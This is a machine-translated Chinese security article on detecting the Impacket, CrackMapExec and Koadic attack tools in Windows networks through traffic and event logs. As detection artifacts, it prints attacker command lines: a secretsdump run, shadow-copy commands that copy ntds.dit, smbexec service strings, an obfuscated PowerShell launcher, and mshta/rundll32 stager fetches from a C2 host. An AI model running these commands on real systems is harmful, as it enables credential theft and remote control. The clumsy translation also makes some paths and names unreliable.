如何检测对 Windows 基础设施的攻击:研究黑客工具

如何检测对 Windows 基础设施的攻击:研究黑客工具

企业部门的攻击数量每年都在增加:例如 2017 年,记录的独特事件增加了 13% 比 2016 年和 2018 年底 - 事件增加 27%比上一时期。 包括那些主要工作工具是Windows操作系统的。 2017-2018年,APT蜻蜓、APT28、 APT浑水公司 对欧洲、北美和沙特阿拉伯的政府和军​​事组织进行了攻击。 我们为此使用了三种工具 - 封包, 破解地图执行 и 科迪奇。 他们的源代码是开放的,可以在 GitHub 上获取。

值得注意的是,这些工具并不是用于初始渗透,而是用于在基础设施内发起攻击。 攻击者在渗透边界后的不同攻击阶段使用它们。 顺便说一句,这很难检测到,并且通常只能借助技术来检测 识别网络流量中的妥协痕迹 或允许的工具 检测攻击者渗透基础设施后的主动行为。 这些工具提供了多种功能,从传输文件到与注册表交互以及在远程计算机上执行命令。 我们对这些工具进行了研究,以确定它们的网络活动。

我们需要做什么:

  • 了解黑客工具的工作原理。 了解攻击者需要利用什么以及他们可以使用哪些技术。
  • 查找信息安全工具在攻击的第一阶段未检测到的内容。 侦察阶段可能会被跳过,因为攻击者是内部攻击者,或者因为攻击者正在利用基础设施中以前未知的漏洞。 恢复他的整个行动链变得可能,因此渴望检测进一步的运动。
  • 消除入侵检测工具的误报。 我们绝不能忘记,当仅凭侦察发现某些行动时,可能会频繁出现错误。 通常,在基础设施中,有足够多的方式来获取任何信息,乍一看与合法方式没有什么区别。

这些工具给攻击者带来了什么? 如果这是 Impacket,那么攻击者会收到一个大型模块库,可以在突破边界后的攻击的不同阶段使用这些模块。 许多工具在内部使用 Impacket 模块 - 例如 Metasploit。 它有 dcomexec 和 wmiexec 用于远程命令执行,secretsdump 用于从内存中获取从 Impacket 添加的帐户。 因此,正确检测此类文库的活性将确保衍生物的检测。

创建者写下关于 CrackMapExec(或简称 CME)的“Powered by Impacket”并非巧合。 此外,CME 还为流行场景提供了现成的功能:用于获取密码或其哈希值的 Mimikatz、用于远程执行的 Meterpreter 或 Empire 代理的实现以及板上的 Bloodhound。

我们选择的第三个工具是 Koadic。 它是最近才出现的,于 25 年在国际黑客会议 DEFCON 2017 上提出,并以非标准方法为特色:它通过 HTTP、Java Script 和 Microsoft Visual Basic Sc​​ript (VBS) 工作。 这种方法称为“living off the land”:该工具使用 Windows 内置的一组依赖项和库。 创建者将其称为 COM 命令与控制,或 C3。

冲击包

Impacket 的功能非常广泛,从 AD 内部侦察和从内部 MS SQL 服务器收集数据,到获取凭据的技术:这是一种 SMB 中继攻击,并从域控制器获取包含用户密码哈希值的 ntds.dit 文件。 Impacket 还使用四种不同的方法远程执行命令:WMI、Windows Scheduler Management Service、DCOM 和 SMB,并且需要凭据才能执行此操作。

秘密转储

让我们看一下secretsdump。 这是一个可以针对用户计算机和域控制器的模块。 它可以用来获取内存区域LSA、SAM、SECURITY、NTDS.dit的副本,因此可以在攻击的不同阶段看到。 该模块操作的第一步是通过 SMB 进行身份验证,这需要用户的密码或其哈希值来自动执行哈希传递攻击。 接下来是开放对服务控制管理器 (SCM) 的访问并通过 winreg 协议访问注册表的请求,攻击者可以使用该协议找出感兴趣的分支的数据并通过 SMB 获取结果。

在图中。 在图 1 中,我们看到使用 winreg 协议时,如何使用带有 LSA 的注册表项来获取访问权限。 为此,请使用带有操作码 15 - OpenKey 的 DCERPC 命令。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 1. 使用 winreg 协议打开注册表项

接下来,当获得对密钥的访问权限时,将使用带有操作码 20 的 SaveKey 命令保存值。Impacket 以非常具体的方式执行此操作。 它将值保存到一个文件中,该文件的名称是由 8 个随机字符组成的字符串,并附加 .tmp。 此外,还可以通过 SMB 从 System32 目录进一步上传该文件(图 2)。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 2.从远程机器获取注册表项的方案

事实证明,网络上的此类活动可以通过使用 winreg 协议、特定名称、命令及其顺序查询某些注册表分支来检测。

该模块还在 Windows 事件日志中留下痕迹,使其易于检测。 例如,作为执行命令的结果

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

在 Windows Server 2016 日志中,我们将看到以下关键事件序列:

1. 4624 - 远程登录。
2. 5145 - 检查 winreg 远程服务的访问权限。
3. 5145 - 检查System32目录中的文件访问权限。 该文件具有上面提到的随机名称。
4. 4688 - 创建启动 vssadmin 的 cmd.exe 进程:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - 使用以下命令创建进程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - 使用以下命令创建进程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - 使用以下命令创建进程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

执行程序

与许多后利用工具一样,Impacket 具有用于远程执行命令的模块。 我们将重点关注 smbexec,它在远程计算机上提供交互式命令 shell。 该模块还需要通过 SMB 进行身份验证,使用密码或密码散列。 在图中。 在图 3 中,我们看到了此类工具如何工作的示例,在本例中它是本地管理员控制台。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 3.交互式smbexec控制台

身份验证后 smbexec 的第一步是使用 OpenSCManagerW 命令 (15) 打开 SCM。 该查询值得注意:MachineName 字段是 DUMMY。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 4. 请求打开服务控制管理器

接下来,使用 CreateServiceW 命令创建服务 (12)。 对于 smbexec,我们每次都可以看到相同的命令构造逻辑。 在图中。 5 绿色表示不可更改的命令参数,黄色表示攻击者可以更改的内容。 很容易看出可执行文件的名称、其目录和输出文件是可以更改的,但在不干扰 Impacket 模块逻辑的情况下更改其余部分要困难得多。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 5. 使用服务控制管理器请求创建服务

Smbexec 还在 Windows 事件日志中留下了明显的痕迹。 在使用 ipconfig 命令的交互式命令 shell 的 Windows Server 2016 日志中,我们将看到以下关键事件序列:

1. 4697——在受害者机器上安装服务:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - 使用第 1 点中的参数创建 cmd.exe 进程。
3. 5145 - 检查 C$ 目录中 __output 文件的访问权限。
4. 4697——在受害者的机器上安装服务。

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - 使用第 4 点中的参数创建 cmd.exe 进程。
6. 5145 - 检查 C$ 目录中 __output 文件的访问权限。

Impacket是开发攻击工具的基础。 它支持Windows基础架构中的几乎所有协议,同时具有自己的特色功能。 下面是具体的winreg请求,以及使用具有特征的命令形成的SCM API,以及文件名格式,以及SMB共享SYSTEM32。

破解映射执行程序

CME 工具的主要设计目的是自动执行攻击者在网络中前进所必须执行的那些例行操作。 它可以让你与著名的帝国特工和Meterpreter一起工作。 为了隐蔽地执行命令,CME 可以对它们进行混淆。 使用 Bloodhound(一种单独的侦察工具),攻击者可以自动搜索活动的域管理员会话。

寻血猎犬

Bloodhound 作为一个独立工具,可以在网络内进行高级侦察。 它收集有关用户、计算机、组、会话的数据,并以 PowerShell 脚本或二进制文件的形式提供。 基于 LDAP 或 SMB 的协议用于收集信息。 CME集成模块允许Bloodhound下载到受害者的机器上,运行并在执行后接收收集的数据,从而自动化系统中的操作并使它们不那么引人注目。 Bloodhound 图形 shell 以图形的形式呈现收集到的数据,这使您可以找到从攻击者的计算机到域管理员的最短路径。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 6. 寻血猎犬界面

为了在受害者的计算机上运行,​​该模块使用 ATSVC 和 SMB 创建一个任务。 ATSVC 是用于与 Windows 任务计划程序配合使用的接口。 CME 使用其 NetrJobAdd(1) 函数通过网络创建任务。 CME 模块发送的示例如图 7 所示。 XNUMX:这是一个 cmd.exe 命令调用和以 XML 格式的参数形式进行混淆的代码。

如何检测对 Windows 基础设施的攻击:研究黑客工具
图 7. 通过 CME 创建任务

任务提交执行后,受害者的机器会自行启动 Bloodhound,这可以在流量中看到。 该模块的特点是通过 LDAP 查询来获取标准组、域中所有计算机和用户的列表,并通过 SRVSVC NetSessEnum 请求获取有关活动用户会话的信息。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 8. 通过SMB获取活动会话列表

此外,在启用了审核的受害者计算机上启动 Bloodhound 会伴随 ID 4688(进程创建)和进程名称的事件 «C:WindowsSystem32cmd.exe»。 值得注意的是命令行参数:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

枚举_av产品

从功能和实现的角度来看,enum_avproducts 模块非常有趣。 WMI 允许您使用 WQL 查询语言从各种 Windows 对象检索数据,这本质上就是此 CME 模块所使用的。 它生成对 AntiSpywareProduct 和 AntiМirusProduct 类有关受害者计算机上安装的保护工具的查询。 为了获取必要的数据,该模块连接到 rootSecurityCenter2 命名空间,然后生成 WQL 查询并接收响应。 在图中。 图 9 显示了此类请求和响应的内容。 在我们的示例中,找到了 Windows Defender。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 9. enum_avproducts 模块的网络活动

通常,WMI 审核(跟踪 WMI 活动)可能会被禁用,在其事件中您可以找到有关 WQL 查询的有用信息。 但如果启用,则运行 enum_avproducts 脚本时,将保存 ID 为 11 的事件,其中将包含发送请求的用户的名称以及 rootSecurityCenter2 命名空间中的名称。

每个 CME 模块都有自己的工件,无论是特定的 WQL 查询还是在任务调度程序中创建某种类型的任务,并在 LDAP 和 SMB 中进行混淆和 Bloodhound 特定的活动。

科阿迪克

Koadic 的一个显着特点是使用 Windows 内置的 JavaScript 和 VBScript 解释器。 从这个意义上说,它遵循了离地生活的趋势——也就是说,它没有外部依赖,并且使用标准的Windows工具。 这是一个完整的命令与控制 (CnC) 工具,因为感染后,机器上会安装一个“植入物”,从而可以对其进行控制。 用 Koadic 术语来说,这样的机器被称为“僵尸”。 如果受害者一方没有足够的权限进行完整操作,Koadic 可以使用用户帐户控制绕过(UAC 绕过)技术来提高权限。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 10.Koadic 外壳

受害者必须启动与命令与控制服务器的通信。 为此,她需要联系先前准备的 URI 并使用其中一个 stager 接收主要的 Koadic 正文。 在图中。 图 11 显示了 mshta stager 的示例。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 11. 初始化与 CnC 服务器的会话

根据响应变量 WS,可以清楚地看出执行是通过 WScript.Shell 进行的,并且变量 STAGER、SESSIONKEY、JOBKEY、JOBKEYPATH、EXPIRE 包含有关当前会话参数的关键信息。 这是与 CnC 服务器的 HTTP 连接中的第一个请求-响应对。 后续请求与被调用模块(植入程序)的功能直接相关。 所有 Koadic 模块仅适用于与 CnC 的活动会话。

Mimikatz

就像 CME 与 Bloodhound 合作一样,Koadic 与 Mimikatz 作为一个单独的程序合作,并且有多种启动方式。 下面是用于下载 Mimikatz 植入程序的请求-响应对。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 12. 将 Mimikatz 转移到 Koadic

您可以看到请求中的 URI 格式发生了怎样的变化。 它现在包含 csrf 变量的值,该变量负责所选模块。 不要注意她的名字; 我们都知道CSRF通常有不同的理解。 响应是与Koadic相同的主体,其中添加了与Mimikatz相关的代码。 它相当大,所以我们来看看重点。 这里我们有以 base64 编码的 Mimikatz 库、一个将注入它的序列化 .NET 类,以及启动 Mimikatz 的参数。 执行结果以明文形式通过网络传输。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 13. 在远程机器上运行Mimikatz的结果

执行命令

Koadic 还具有可以远程执行命令的模块。 在这里我们将看到相同的 URI 生成方法以及熟悉的 sid 和 csrf 变量。 对于 exec_cmd 模块,代码被添加到能够执行 shell 命令的主体中。 下面显示了 CnC 服务器的 HTTP 响应中包含的此类代码。

如何检测对 Windows 基础设施的攻击:研究黑客工具
米。 14.植入代码exec_cmd

代码执行需要具有熟悉的 WS 属性的 GAWTUUGCFI 变量。 在它的帮助下,植入程序调用 shell,处理两个代码分支:返回输出数据流的 shell.exec 和不返回的 shell.run。

Koadic 不是一个典型的工具,但它有自己的工件,可以在合法流量中找到它:

  • HTTP 请求的特殊格式,
  • 使用 winHttpRequests API,
  • 通过 ActiveXObject 创建 WScript.Shell 对象,
  • 大型可执行体。

初始连接由 stager 发起,因此可以通过 Windows 事件检测其活动。 对于 mshta,这是事件 4688,它表示创建具有 start 属性的进程:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

当 Koadic 运行时,您可以看到其他 4688 事件,其属性完美地表征了它:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

发现

以土地为生的趋势在犯罪分子中越来越流行。 他们使用 Windows 内置的工具和机制来满足自己的需求。 我们看到遵循这一原则的流行工具 Koadic、CrackMapExec 和 Impacket 越来越多地出现在 APT 报告中。 GitHub 上这些工具的分支数量也在增加,并且不断出现新的分支(现在已经有大约一千个)。 这种趋势因其简单性而越来越受欢迎:攻击者不需要第三方工具;它们已经在受害者的计算机上并帮助他们绕过安全措施。 我们专注于研究网络通信:上述每种工具都会在网络流量中留下自己的痕迹; 对它们的详细研究使我们能够教授我们的产品 PT网络攻击发现 检测它们,这最终有助于调查涉及它们的整个网络事件链。

作者:

  • Anton Tyurin,Positive Technologies PT 专家安全中心专家服务部主管
  • Egor Podmokov,Positive Technologies PT 专家安全中心专家

来源: habr.com

添加评论